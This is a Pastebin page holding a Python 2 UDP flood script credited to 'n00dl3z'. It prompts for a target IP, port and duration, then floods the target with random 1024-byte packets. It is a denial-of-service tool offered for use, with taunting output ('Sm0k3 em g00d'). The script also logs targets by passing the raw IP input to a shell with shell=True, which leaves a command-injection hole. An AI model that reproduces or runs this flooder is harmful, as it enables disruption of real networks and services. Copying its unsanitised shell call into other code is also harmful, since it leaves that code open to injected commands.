Advertisement
Hector_G

UDP Flooder by n00dl3z

Feb 15th, 2017
706
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.00 KB | None | 0 0
  1. #************************************************************************
  2. #*               $$$$$$\   $$$$$$\        $$\ $$\  $$$$$$\              *
  3. #*              $$$ __$$\ $$$ __$$\       $$ |$$ |$$ ___$$\             *
  4. #*    $$$$$$$\  $$$$\ $$ |$$$$\ $$ | $$$$$$$ |$$ |\_/   $$ |$$$$$$$$\   *
  5. #*    $$  __$$\ $$\$$\$$ |$$\$$\$$ |$$  __$$ |$$ |  $$$$$ / \____$$  |  *
  6. #*    $$ |  $$ |$$ \$$$$ |$$ \$$$$ |$$ /  $$ |$$ |  \___$$\   $$$$ _/   *
  7. #*    $$ |  $$ |$$ |\$$$ |$$ |\$$$ |$$ |  $$ |$$ |$$\   $$ | $$  _/     *
  8. #*    $$ |  $$ |\$$$$$$  /\$$$$$$  /\$$$$$$$ |$$ |\$$$$$$  |$$$$$$$$\   *
  9. #*    \__|  \__| \______/  \______/  \_______|\__| \______/ \________|  *
  10. #************************************************************************
  11.                          #Modified by n00dl3z
  12.                        #Skype: noodles.tar.gz
  13.                           #Youtube: @n00dl3z
  14.  
  15.  
  16. import time, socket, random, subprocess, sys
  17. from colorama import Fore, Style, Back
  18.  
  19. print' '
  20. credits = (Fore.RED + Style.BRIGHT + 'UDP Flood modified by @n00dl3z')
  21. def lulz():
  22.     global credits
  23.     print credits
  24. lulz()
  25.  
  26. def run(cmd):
  27.     subprocess.call(cmd, shell=True)
  28.    
  29. print' '
  30. print' '
  31. print' '
  32. client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) #okay so here I create the server, when i say "SOCK_DGRAM" it means it's a UDP type program
  33. bytes = random._urandom(1024) # 1024 representes one byte to the server
  34.  
  35. ip  = raw_input(Fore.GREEN + 'Target (Enter ip) - ' + Fore.GREEN + Style.BRIGHT)
  36. port = input(Fore.GREEN + 'Port - ' + Fore.GREEN + Style.BRIGHT)
  37. duration  = input(Fore.GREEN + 'Time (Seconds) - ' + Fore.GREEN + Style.BRIGHT)
  38.  
  39. run("echo Attacked: " + ip + " >> attack.txt")
  40.  
  41. print' '
  42. print'Sm0k3 em g00d'
  43. print' '
  44.  
  45. time.sleep(1)
  46. timeout =  time.time() + duration
  47. packets = 0
  48.  
  49. while 1:
  50.     if time.time() > timeout:
  51.         break
  52.     else:
  53.         pass
  54.     client.sendto(bytes, (ip, port))
  55.     packets = packets + 1
  56.     print "Attacking: %s at port %s Packets sent: %s"%(ip, port, packets)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement